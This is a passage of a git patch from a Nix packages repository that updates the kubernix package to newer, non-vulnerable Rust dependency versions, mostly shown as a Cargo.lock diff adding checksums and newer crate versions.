+      hash = "sha256-UJy0AZXpvowvjSnJy7m4Z5JPoYWjydUg1R+jz/Pl1s0=";
+    })
+  ];
+
   php = phpPackage;
 
   buildInputs = [

From 10df93eb75c949c12ec2c46c453ec1b3fc0b0bbd Mon Sep 17 00:00:00 2001
From: Michael Daniels <mdaniels5757@gmail.com>
Date: Sat, 12 Jul 2025 12:20:40 -0400
Subject: [PATCH 3632/4511] kubernix: 0.2.0 -> 0.2.0-unstable-2021-11-16

Updates some dependencies to non-vulnerable versions.

(cherry picked from commit 384fda8e3475e2976715c6fc0b6057c4ae47446b)
---
 pkgs/by-name/ku/kubernix/Cargo.lock           | 1180 ++++++++++-------
 pkgs/by-name/ku/kubernix/Cargo.toml.patch     |   14 +
 .../ku/kubernix/fix-compile-error.patch       |   13 +
 pkgs/by-name/ku/kubernix/package.nix          |   26 +-
 4 files changed, 738 insertions(+), 495 deletions(-)
 create mode 100644 pkgs/by-name/ku/kubernix/Cargo.toml.patch
 create mode 100644 pkgs/by-name/ku/kubernix/fix-compile-error.patch

diff --git a/pkgs/by-name/ku/kubernix/Cargo.lock b/pkgs/by-name/ku/kubernix/Cargo.lock
index 11445b7cc085..ad0889c807e7 100644
--- a/pkgs/by-name/ku/kubernix/Cargo.lock
+++ b/pkgs/by-name/ku/kubernix/Cargo.lock
@@ -1,921 +1,1131 @@
 # This file is automatically @generated by Cargo.
 # It is not intended for manual editing.
+version = 4
+
 [[package]]
-name = "ansi_term"
-version = "0.12.1"
+name = "aho-corasick"
+version = "1.1.3"
 source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "8e60d3430d3a69478ad0993f19238d2df97c507009a52b3c10addcd7f6bcb916"
 dependencies = [
- "winapi 0.3.8 (registry+https://github.com/rust-lang/crates.io-index)",
+ "memchr",
 ]
 
 [[package]]
 name = "anyhow"
-version = "1.0.19"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-
-[[package]]
-name = "arc-swap"
-version = "0.4.3"
+version = "1.0.98"
 source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "e16d2d3311acee920a9eb8d33b8cbc1787ce4a264e85f964c2404b969bdcd487"
 
 [[package]]
 name = "atty"
-version = "0.2.13"
+version = "0.2.14"
 source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "d9b39be18770d11421cdb1b9947a45dd3f37e93092cbf377614828a319d5fee8"
 dependencies = [
- "libc 0.2.65 (registry+https://github.com/rust-lang/crates.io-index)",
- "winapi 0.3.8 (registry+https://github.com/rust-lang/crates.io-index)",
+ "hermit-abi",
+ "libc",
+ "winapi",
 ]
 
 [[package]]
 name = "autocfg"
-version = "0.1.7"
+version = "1.5.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "c08606f8c3cbf4ce6ec8e28fb0014a2c086708fe954eaa885384a6165172e7e8"
 
 [[package]]
 name = "base64"
-version = "0.11.0"
+version = "0.13.1"
 source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "9e1b586273c5702936fe7b7d6896644d8be71e6314cfe09d3167c95f712589e8"
 
 [[package]]
 name = "bitflags"
-version = "1.2.1"
+version = "1.3.2"
 source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "bef38d45163c2f1dde094a7dfd33ccf595c92905c8f8f4fdc18d06fb1037718a"
 
 [[package]]
-name = "c2-chacha"
-version = "0.2.3"
+name = "bitflags"
+version = "2.9.1"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-dependencies = [
- "ppv-lite86 0.2.6 (registry+https://github.com/rust-lang/crates.io-index)",
-]
+checksum = "1b8e56985ec62d17e9c1001dc89c88ecd7dc08e47eba5ec7c29c7b5eeecde967"
 
 [[package]]
 name = "cc"
-version = "1.0.47"
+version = "1.2.29"
 source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "5c1599538de2394445747c8cf7935946e3cc27e9625f889d979bfb2aaf569362"
+dependencies = [
+ "shlex",
+]
 
 [[package]]
 name = "cfg-if"
-version = "0.1.10"
+version = "1.0.1"
 source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "9555578bc9e57714c812a1f84e4fc5b4d21fcb063490c624de019f7464c91268"
 
 [[package]]
 name = "clap"
-version = "3.0.0-beta.1"
-source = "git+https://github.com/clap-rs/clap#335f34bee26ceb31c63c17206bd56bb5847e697a"
+version = "3.0.0-beta.2"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "4bd1061998a501ee7d4b6d449020df3266ca3124b941ec56cf2005c3779ca142"
 dependencies = [
- "ansi_term 0.12.1 (registry+https://github.com/rust-lang/crates.io-index)",
- "atty 0.2.13 (registry+https://github.com/rust-lang/crates.io-index)",
- "bitflags 1.2.1 (registry+https://github.com/rust-lang/crates.io-index)",
- "clap_derive 0.3.0 (git+https://github.com/clap-rs/clap_derive)",
- "indexmap 1.3.0 (registry+https://github.com/rust-lang/crates.io-index)",
- "strsim 0.9.2 (registry+https://github.com/rust-lang/crates.io-index)",
- "term_size 1.0.0-beta1 (registry+https://github.com/rust-lang/crates.io-index)",
- "textwrap 0.11.0 (registry+https://github.com/rust-lang/crates.io-index)",
- "unicode-width 0.1.6 (registry+https://github.com/rust-lang/crates.io-index)",
- "vec_map 0.8.1 (registry+https://github.com/rust-lang/crates.io-index)",
+ "atty",
+ "bitflags 1.3.2",
+ "clap_derive",
+ "indexmap",
+ "lazy_static",
+ "os_str_bytes",
+ "strsim",
+ "termcolor",
+ "terminal_size",
+ "textwrap",
+ "unicode-width 0.1.14",
+ "vec_map",
 ]
 
 [[package]]
 name = "clap_derive"
-version = "0.3.0"
-source = "git+https://github.com/clap-rs/clap_derive#4a46684b1c522fe3fd45d653d6ba6c7cb885baa5"
-dependencies = [
- "proc-macro2 0.4.30 (registry+https://github.com/rust-lang/crates.io-index)",
- "quote 0.6.13 (registry+https://github.com/rust-lang/crates.io-index)",
- "syn 0.15.44 (registry+https://github.com/rust-lang/crates.io-index)",
-]
-
-[[package]]
-name = "clicolors-control"
-version = "1.0.1"
+version = "3.0.0-beta.2"
 source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "370f715b81112975b1b69db93e0b56ea4cd4e5002ac43b2da8474106a54096a1"
 dependencies = [
- "atty 0.2.13 (registry+https://github.com/rust-lang/crates.io-index)",
- "lazy_static 1.4.0 (registry+https://github.com/rust-lang/crates.io-index)",
- "libc 0.2.65 (registry+https://github.com/rust-lang/crates.io-index)",
- "winapi 0.3.8 (registry+https://github.com/rust-lang/crates.io-index)",
-]
-
-[[package]]
-name = "cloudabi"
-version = "0.0.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-dependencies = [
- "bitflags 1.2.1 (registry+https://github.com/rust-lang/crates.io-index)",
+ "heck",
+ "proc-macro-error",
+ "proc-macro2",
+ "quote",
+ "syn 1.0.109",
 ]
 
 [[package]]
 name = "console"
-version = "0.9.1"
+version = "0.14.1"
 source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "3993e6445baa160675931ec041a5e03ca84b9c6e32a056150d3aa2bdda0a1f45"
 dependencies = [
- "clicolors-control 1.0.1 (registry+https://github.com/rust-lang/crates.io-index)",
- "encode_unicode 0.3.6 (registry+https://github.com/rust-lang/crates.io-index)",
- "lazy_static 1.4.0 (registry+https://github.com/rust-lang/crates.io-index)",
- "libc 0.2.65 (registry+https://github.com/rust-lang/crates.io-index)",
- "regex 1.3.1 (registry+https://github.com/rust-lang/crates.io-index)",
- "termios 0.3.1 (registry+https://github.com/rust-lang/crates.io-index)",
- "unicode-width 0.1.6 (registry+https://github.com/rust-lang/crates.io-index)",
- "winapi 0.3.8 (registry+https://github.com/rust-lang/crates.io-index)",
+ "encode_unicode 0.3.6",
+ "lazy_static",
+ "libc",
+ "regex",
+ "terminal_size",
+ "unicode-width 0.1.14",
+ "winapi",
+]
+
+[[package]]
+name = "console"
+version = "0.16.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "2e09ced7ebbccb63b4c65413d821f2e00ce54c5ca4514ddc6b3c892fdbcbc69d"
+dependencies = [
+ "encode_unicode 1.0.0",
+ "libc",
+ "once_cell",
+ "unicode-width 0.2.1",
+ "windows-sys 0.60.2",
 ]
 
 [[package]]
 name = "crossbeam-channel"
-version = "0.4.0"
+version = "0.5.15"
 source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "82b8f8f868b36967f9606790d1903570de9ceaf870a7bf9fbbd3016d636a2cb2"
 dependencies = [
- "crossbeam-utils 0.7.0 (registry+https://github.com/rust-lang/crates.io-index)",
+ "crossbeam-utils",
 ]
 
 [[package]]
 name = "crossbeam-deque"
-version = "0.7.2"
+version = "0.8.6"
 source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "9dd111b7b7f7d55b72c0a6ae361660ee5853c9af73f70c3c2ef6858b950e2e51"
 dependencies = [
- "crossbeam-epoch 0.8.0 (registry+https://github.com/rust-lang/crates.io-index)",
- "crossbeam-utils 0.7.0 (registry+https://github.com/rust-lang/crates.io-index)",
+ "crossbeam-epoch",
+ "crossbeam-utils",
 ]
 
 [[package]]
 name = "crossbeam-epoch"
-version = "0.8.0"
+version = "0.9.18"
 source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "5b82ac4a3c2ca9c3460964f020e1402edd5753411d7737aa39c3714ad1b5420e"
 dependencies = [
- "autocfg 0.1.7 (registry+https://github.com/rust-lang/crates.io-index)",
- "cfg-if 0.1.10 (registry+https://github.com/rust-lang/crates.io-index)",
- "crossbeam-utils 0.7.0 (registry+https://github.com/rust-lang/crates.io-index)",
- "lazy_static 1.4.0 (registry+https://github.com/rust-lang/crates.io-index)",
- "memoffset 0.5.3 (registry+https://github.com/rust-lang/crates.io-index)",
- "scopeguard 1.0.0 (registry+https://github.com/rust-lang/crates.io-index)",
-]
-
-[[package]]
-name = "crossbeam-queue"
-version = "0.1.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-dependencies = [
- "crossbeam-utils 0.6.6 (registry+https://github.com/rust-lang/crates.io-index)",
+ "crossbeam-utils",
 ]
 
 [[package]]
 name = "crossbeam-utils"
-version = "0.6.6"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-dependencies = [
- "cfg-if 0.1.10 (registry+https://github.com/rust-lang/crates.io-index)",
- "lazy_static 1.4.0 (registry+https://github.com/rust-lang/crates.io-index)",
-]
-
-[[package]]
-name = "crossbeam-utils"
-version = "0.7.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-dependencies = [
- "autocfg 0.1.7 (registry+https://github.com/rust-lang/crates.io-index)",
- "cfg-if 0.1.10 (registry+https://github.com/rust-lang/crates.io-index)",
- "lazy_static 1.4.0 (registry+https://github.com/rust-lang/crates.io-index)",
-]
-
-[[package]]
-name = "dtoa"
-version = "0.4.4"
+version = "0.8.21"
 source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "d0a5c400df2834b80a4c3327b3aad3a4c4cd4de0629063962b03235697506a28"
 
 [[package]]
 name = "either"
-version = "1.5.3"
+version = "1.15.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "48c757948c5ede0e46177b7add2e67155f70e33c07fea8284df6576da70b3719"
 
 [[package]]
 name = "encode_unicode"
 version = "0.3.6"
 source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "a357d28ed41a50f9c765dbfe56cbc04a64e53e5fc58ba79fbc34c10ef3df831f"
+
+[[package]]
+name = "encode_unicode"
+version = "1.0.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "34aa73646ffb006b8f5147f3dc182bd4bcb190227ce861fc4a4844bf8e3cb2c0"
 
 [[package]]
 name = "err-derive"
-version = "0.1.6"
+version = "0.2.4"
 source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "22deed3a8124cff5fa835713fa105621e43bbdc46690c3a6b68328a012d350d4"
 dependencies = [
- "proc-macro-error 0.2.6 (registry+https://github.com/rust-lang/crates.io-index)",
- "proc-macro2 1.0.6 (registry+https://github.com/rust-lang/crates.io-index)",
- "quote 1.0.2 (registry+https://github.com/rust-lang/crates.io-index)",
- "rustc_version 0.2.3 (registry+https://github.com/rust-lang/crates.io-index)",
- "syn 1.0.8 (registry+https://github.com/rust-lang/crates.io-index)",
- "synstructure 0.12.3 (registry+https://github.com/rust-lang/crates.io-index)",
+ "proc-macro-error",
+ "proc-macro2",
+ "quote",
+ "rustversion",
+ "syn 1.0.109",
+ "synstructure",
+]
+
+[[package]]
+name = "errno"
+version = "0.3.13"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "778e2ac28f6c47af28e4907f13ffd1e1ddbd400980a9abd7c8df189bf578a5ad"
+dependencies = [
+ "libc",
+ "windows-sys 0.60.2",
+]
+
+[[package]]
+name = "fastrand"
+version = "2.3.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "37909eebbb50d72f9059c3b6d82c0463f2ff062c9e95845c43a6c9c0355411be"
+
+[[package]]
+name = "getrandom"
+version = "0.2.16"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "335ff9f135e4384c8150d6f27c6daed433577f86b4750418338c01a1a2528592"
+dependencies = [
+ "cfg-if",
+ "libc",
+ "wasi 0.11.1+wasi-snapshot-preview1",
 ]
 
 [[package]]
 name = "getrandom"
-version = "0.1.13"
+version = "0.3.3"
 source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "26145e563e54f2cadc477553f1ec5ee650b00862f0a58bcd12cbdc5f0ea2d2f4"
 dependencies = [
- "cfg-if 0.1.10 (registry+https://github.com/rust-lang/crates.io-index)",
- "libc 0.2.65 (registry+https://github.com/rust-lang/crates.io-index)",
- "wasi 0.7.0 (registry+https://github.com/rust-lang/crates.io-index)",
+ "cfg-if",
+ "libc",
+ "r-efi",
+ "wasi 0.14.2+wasi-0.2.4",
 ]
 
 [[package]]
 name = "getset"
-version = "0.0.9"
+version = "0.1.6"
 source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "9cf0fc11e47561d47397154977bc219f4cf809b2974facc3ccb3b89e2436f912"
 dependencies = [
- "proc-macro2 1.0.6 (registry+https://github.com/rust-lang/crates.io-index)",
- "quote 1.0.2 (registry+https://github.com/rust-lang/crates.io-index)",
- "syn 1.0.8 (registry+https://github.com/rust-lang/crates.io-index)",
+ "proc-macro-error2",
+ "proc-macro2",
+ "quote",
+ "syn 2.0.104",
+]
+
+[[package]]
+name = "hashbrown"
+version = "0.12.3"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "8a9ee70c43aaf417c914396645a0fa852624801b24ebb7ae78fe8272889ac888"
+
+[[package]]
+name = "heck"
+version = "0.3.3"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "6d621efb26863f0e9924c6ac577e8275e5e6b77455db64ffa6c65c904e9e132c"
+dependencies = [
+ "unicode-segmentation",
 ]
 
 [[package]]
 name = "hermit-abi"
-version = "0.1.3"
+version = "0.1.19"
 source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "62b467343b94ba476dcb2500d242dadbb39557df889310ac77c5d99100aaac33"
 dependencies = [
- "libc 0.2.65 (registry+https://github.com/rust-lang/crates.io-index)",
+ "libc",
 ]
 
 [[package]]
 name = "hostname"
-version = "0.2.0"
+version = "0.3.1"
 source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "3c731c3e10504cc8ed35cfe2f1db4c9274c3d35fa486e3b31df46f068ef3e867"
 dependencies = [
- "libc 0.2.65 (registry+https://github.com/rust-lang/crates.io-index)",
- "match_cfg 0.1.0 (registry+https://github.com/rust-lang/crates.io-index)",
- "winapi 0.3.8 (registry+https://github.com/rust-lang/crates.io-index)",
+ "libc",
+ "match_cfg",
+ "winapi",
 ]
 
 [[package]]
 name = "indexmap"
-version = "1.3.0"
+version = "1.9.3"
 source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "bd070e393353796e801d209ad339e89596eb4c8d430d18ede6a1cced8fafbd99"
 dependencies = [
- "autocfg 0.1.7 (registry+https://github.com/rust-lang/crates.io-index)",
+ "autocfg",
+ "hashbrown",
 ]
 
 [[package]]
 name = "indicatif"
-version = "0.13.0"
+version = "0.15.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "7baab56125e25686df467fe470785512329883aab42696d661247aca2a2896e4"
 dependencies = [
- "console 0.9.1 (registry+https://github.com/rust-lang/crates.io-index)",
- "lazy_static 1.4.0 (registry+https://github.com/rust-lang/crates.io-index)",
- "number_prefix 0.3.0 (registry+https://github.com/rust-lang/crates.io-index)",
- "regex 1.3.1 (registry+https://github.com/rust-lang/crates.io-index)",
+ "console 0.16.0",
+ "lazy_static",
+ "number_prefix",
+ "regex",
+]
+
+[[package]]
+name = "instant"
+version = "0.1.13"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "e0242819d153cba4b4b05a5a8f2a7e9bbf97b6055b2a002b395c96b5ff3c0222"
+dependencies = [
+ "cfg-if",
 ]
 
 [[package]]
 name = "ipnetwork"
-version = "0.15.0"
+version = "0.18.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "4088d739b183546b239688ddbc79891831df421773df95e236daf7867866d355"
 dependencies = [
- "serde 1.0.102 (registry+https://github.com/rust-lang/crates.io-index)",
+ "serde",
 ]
 
 [[package]]
 name = "itoa"
-version = "0.4.4"
+version = "1.0.15"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-
-[[package]]
-name = "kernel32-sys"
-version = "0.2.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-dependencies = [
- "winapi 0.2.8 (registry+https://github.com/rust-lang/crates.io-index)",
- "winapi-build 0.1.1 (registry+https://github.com/rust-lang/crates.io-index)",
-]
+checksum = "4a5f13b858c8d314ee3e8f639011f7ccefe71f97f96e50151fb991f267928e2c"
 
 [[package]]
 name = "kubernix"
 version = "0.2.0"
 dependencies = [
- "anyhow 1.0.19 (registry+https://github.com/rust-lang/crates.io-index)",
- "base64 0.11.0 (registry+https://github.com/rust-lang/crates.io-index)",
- "clap 3.0.0-beta.1 (git+https://github.com/clap-rs/clap)",
- "console 0.9.1 (registry+https://github.com/rust-lang/crates.io-index)",
- "crossbeam-channel 0.4.0 (registry+https://github.com/rust-lang/crates.io-index)",
- "getset 0.0.9 (registry+https://github.com/rust-lang/crates.io-index)",
- "hostname 0.2.0 (registry+https://github.com/rust-lang/crates.io-index)",
- "indicatif 0.13.0 (registry+https://github.com/rust-lang/crates.io-index)",
- "ipnetwork 0.15.0 (registry+https://github.com/rust-lang/crates.io-index)",
- "lazy_static 1.4.0 (registry+https://github.com/rust-lang/crates.io-index)",
- "log 0.4.8 (registry+https://github.com/rust-lang/crates.io-index)",
- "nix 0.15.0 (registry+https://github.com/rust-lang/crates.io-index)",
- "parking_lot 0.9.0 (registry+https://github.com/rust-lang/crates.io-index)",
- "proc-mounts 0.2.3 (registry+https://github.com/rust-lang/crates.io-index)",
- "rand 0.7.2 (registry+https://github.com/rust-lang/crates.io-index)",
- "rayon 1.2.0 (registry+https://github.com/rust-lang/crates.io-index)",
- "serde 1.0.102 (registry+https://github.com/rust-lang/crates.io-index)",
- "serde_json 1.0.41 (registry+https://github.com/rust-lang/crates.io-index)",
- "serde_yaml 0.8.11 (registry+https://github.com/rust-lang/crates.io-index)",
- "signal-hook 0.1.11 (registry+https://github.com/rust-lang/crates.io-index)",
- "tempfile 3.1.0 (registry+https://github.com/rust-lang/crates.io-index)",
- "toml 0.5.5 (registry+https://github.com/rust-lang/crates.io-index)",
+ "anyhow",
+ "base64",
+ "clap",
+ "clap_derive",
+ "console 0.14.1",
+ "crossbeam-channel",
+ "getset",
+ "hostname",
+ "indicatif",
+ "ipnetwork",
+ "lazy_static",
+ "log",
+ "nix",
+ "parking_lot",
+ "proc-mounts",
+ "rand",
+ "rayon",
+ "serde",
+ "serde_json",
+ "serde_yaml",
+ "signal-hook",
+ "tempfile",
+ "toml",
 ]
 
 [[package]]
 name = "lazy_static"
-version = "1.4.0"
+version = "1.5.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "bbd2bcb4c963f2ddae06a2efc7e9f3591312473c50c6685e1f298068316e66fe"
 
 [[package]]
 name = "libc"
-version = "0.2.65"
+version = "0.2.174"
 source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "1171693293099992e19cddea4e8b849964e9846f4acee11b3948bcc337be8776"
 
 [[package]]
 name = "linked-hash-map"
-version = "0.5.2"
+version = "0.5.6"
 source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "0717cef1bc8b636c6e1c1bbdefc09e6322da8a9321966e8928ef80d20f7f770f"
+
+[[package]]
+name = "linux-raw-sys"
+version = "0.9.4"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "cd945864f07fe9f5371a27ad7b52a172b4b499999f1d97574c9fa68373937e12"
 
 [[package]]
 name = "lock_api"
-version = "0.3.1"
+version = "0.4.13"
 source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "96936507f153605bddfcda068dd804796c84324ed2510809e5b2a624c81da765"
 dependencies = [
- "scopeguard 1.0.0 (registry+https://github.com/rust-lang/crates.io-index)",
+ "autocfg",
+ "scopeguard",
 ]
 
 [[package]]
 name = "log"
-version = "0.4.8"
+version = "0.4.27"
 source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "13dc2df351e3202783a1fe0d44375f7295ffb4049267b0f3018346dc122a1d94"
 dependencies = [
- "cfg-if 0.1.10 (registry+https://github.com/rust-lang/crates.io-index)",
- "serde 1.0.102 (registry+https://github.com/rust-lang/crates.io-index)",
+ "serde",
 ]
 
 [[package]]
 name = "match_cfg"
 version = "0.1.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "ffbee8634e0d45d258acb448e7eaab3fce7a0a467395d4d9f228e3c1f01fb2e4"
 
 [[package]]
-name = "maybe-uninit"
-version = "2.0.0"
+name = "memchr"
+version = "2.7.5"
 source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "32a282da65faaf38286cf3be983213fcf1d2e2a58700e808f83f4ea9a4804bc0"
 
 [[package]]
 name = "memoffset"
-version = "0.5.3"
+version = "0.6.5"
 source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "5aa361d4faea93603064a027415f07bd8e1d5c88c9fbf68bf56a285428fd79ce"
 dependencies = [
- "rustc_version 0.2.3 (registry+https://github.com/rust-lang/crates.io-index)",
+ "autocfg",
 ]
 
 [[package]]
 name = "nix"
-version = "0.15.0"
+version = "0.22.3"
 source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "e4916f159ed8e5de0082076562152a76b7a1f64a01fd9d1e0fea002c37624faf"
 dependencies = [
- "bitflags 1.2.1 (registry+https://github.com/rust-lang/crates.io-index)",
- "cc 1.0.47 (registry+https://github.com/rust-lang/crates.io-index)",
- "cfg-if 0.1.10 (registry+https://github.com/rust-lang/crates.io-index)",
- "libc 0.2.65 (registry+https://github.com/rust-lang/crates.io-index)",
- "void 1.0.2 (registry+https://github.com/rust-lang/crates.io-index)",
-]
-
-[[package]]
-name = "num_cpus"
-version = "1.11.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-dependencies = [
- "hermit-abi 0.1.3 (registry+https://github.com/rust-lang/crates.io-index)",
- "libc 0.2.65 (registry+https://github.com/rust-lang/crates.io-index)",
+ "bitflags 1.3.2",
+ "cc",
+ "cfg-if",
+ "libc",
+ "memoffset",
 ]
 
 [[package]]
 name = "number_prefix"
 version = "0.3.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "17b02fc0ff9a9e4b35b3342880f48e896ebf69f2967921fe8646bf5b7125956a"
+
+[[package]]
+name = "once_cell"
+version = "1.21.3"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "42f5e15c9953c5e4ccceeb2e7382a716482c34515315f7b03532b8b4e8393d2d"
+
+[[package]]
+name = "os_str_bytes"
+version = "2.4.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "afb2e1c3ee07430c2cf76151675e583e0f19985fa6efae47d6848a3e2c824f85"
 
 [[package]]
 name = "parking_lot"
-version = "0.9.0"
+version = "0.11.2"
 source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "7d17b78036a60663b797adeaee46f5c9dfebb86948d1255007a1d6be0271ff99"
 dependencies = [
- "lock_api 0.3.1 (registry+https://github.com/rust-lang/crates.io-index)",
- "parking_lot_core 0.6.2 (registry+https://github.com/rust-lang/crates.io-index)",
- "rustc_version 0.2.3 (registry+https://github.com/rust-lang/crates.io-index)",
+ "instant",
+ "lock_api",
+ "parking_lot_core",
 ]
 
 [[package]]
 name = "parking_lot_core"
-version = "0.6.2"
+version = "0.8.6"
 source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "60a2cfe6f0ad2bfc16aefa463b497d5c7a5ecd44a23efa72aa342d90177356dc"
 dependencies = [
- "cfg-if 0.1.10 (registry+https://github.com/rust-lang/crates.io-index)",
- "cloudabi 0.0.3 (registry+https://github.com/rust-lang/crates.io-index)",
- "libc 0.2.65 (registry+https://github.com/rust-lang/crates.io-index)",
- "redox_syscall 0.1.56 (registry+https://github.com/rust-lang/crates.io-index)",
- "rustc_version 0.2.3 (registry+https://github.com/rust-lang/crates.io-index)",
- "smallvec 0.6.13 (registry+https://github.com/rust-lang/crates.io-index)",
- "winapi 0.3.8 (registry+https://github.com/rust-lang/crates.io-index)",
+ "cfg-if",
+ "instant",
+ "libc",
+ "redox_syscall",
+ "smallvec",
+ "winapi",
 ]
 
 [[package]]
 name = "partition-identity"
-version = "0.2.6"
+version = "0.2.8"
 source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "ec13ba9a0eec5c10a89f6ec1b6e9e2ef7d29b810d771355abbd1c43cae003ed6"
 dependencies = [
- "err-derive 0.1.6 (registry+https://github.com/rust-lang/crates.io-index)",
+ "err-derive",
 ]
 
 [[package]]
 name = "ppv-lite86"
-version = "0.2.6"
+version = "0.2.21"
 source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "85eae3c4ed2f50dcfe72643da4befc30deadb458a9b590d720cde2f2b1e97da9"
+dependencies = [
+ "zerocopy",
+]
 
 [[package]]
 name = "proc-macro-error"
-version = "0.2.6"
+version = "1.0.4"
 source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "da25490ff9892aab3fcf7c36f08cfb902dd3e71ca0f9f9517bea02a73a5ce38c"
 dependencies = [
- "proc-macro2 1.0.6 (registry+https://github.com/rust-lang/crates.io-index)",
- "quote 1.0.2 (registry+https://github.com/rust-lang/crates.io-index)",
- "syn 1.0.8 (registry+https://github.com/rust-lang/crates.io-index)",
+ "proc-macro-error-attr",
+ "proc-macro2",
+ "quote",
+ "syn 1.0.109",
+ "version_check",
+]
+
+[[package]]
+name = "proc-macro-error-attr"
+version = "1.0.4"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "a1be40180e52ecc98ad80b184934baf3d0d29f979574e439af5a55274b35f869"
+dependencies = [
+ "proc-macro2",
+ "quote",
+ "version_check",
+]
+
+[[package]]
+name = "proc-macro-error-attr2"
+version = "2.0.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "96de42df36bb9bba5542fe9f1a054b8cc87e172759a1868aa05c1f3acc89dfc5"
+dependencies = [
+ "proc-macro2",
+ "quote",
+]
+
+[[package]]
+name = "proc-macro-error2"
+version = "2.0.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "11ec05c52be0a07b08061f7dd003e7d7092e0472bc731b4af7bb1ef876109802"
+dependencies = [
+ "proc-macro-error-attr2",
+ "proc-macro2",
+ "quote",
+ "syn 2.0.104",
 ]
 
 [[package]]
 name = "proc-macro2"
-version = "0.4.30"
+version = "1.0.95"
 source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "02b3e5e68a3a1a02aad3ec490a98007cbc13c37cbe84a3cd7b8e406d76e7f778"
 dependencies = [
- "unicode-xid 0.1.0 (registry+https://github.com/rust-lang/crates.io-index)",
-]
-
-[[package]]
-name = "proc-macro2"
-version = "1.0.6"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-dependencies = [
- "unicode-xid 0.2.0 (registry+https://github.com/rust-lang/crates.io-index)",
+ "unicode-ident",
 ]
 
 [[package]]
 name = "proc-mounts"
-version = "0.2.3"
+version = "0.2.4"
 source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "2ad7e9c8d1b8c20f16a84d61d7c4c0325a5837c1307a2491b509cd92fb4e4442"
 dependencies = [
- "lazy_static 1.4.0 (registry+https://github.com/rust-lang/crates.io-index)",
- "partition-identity 0.2.6 (registry+https://github.com/rust-lang/crates.io-index)",
+ "lazy_static",
+ "partition-identity",
 ]
 
 [[package]]
 name = "quote"
-version = "0.6.13"
+version = "1.0.40"
 source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "1885c039570dc00dcb4ff087a89e185fd56bae234ddc7f056a945bf36467248d"
 dependencies = [
- "proc-macro2 0.4.30 (registry+https://github.com/rust-lang/crates.io-index)",
+ "proc-macro2",
 ]
 
 [[package]]
-name = "quote"
-version = "1.0.2"
+name = "r-efi"
+version = "5.3.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-dependencies = [
- "proc-macro2 1.0.6 (registry+https://github.com/rust-lang/crates.io-index)",
-]
+checksum = "69cdb34c158ceb288df11e18b4bd39de994f6657d83847bdffdbd7f346754b0f"
 
 [[package]]
 name = "rand"
-version = "0.7.2"
+version = "0.8.5"
 source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "34af8d1a0e25924bc5b7c43c079c942339d8f0a8b57c39049bef581b46327404"
 dependencies = [
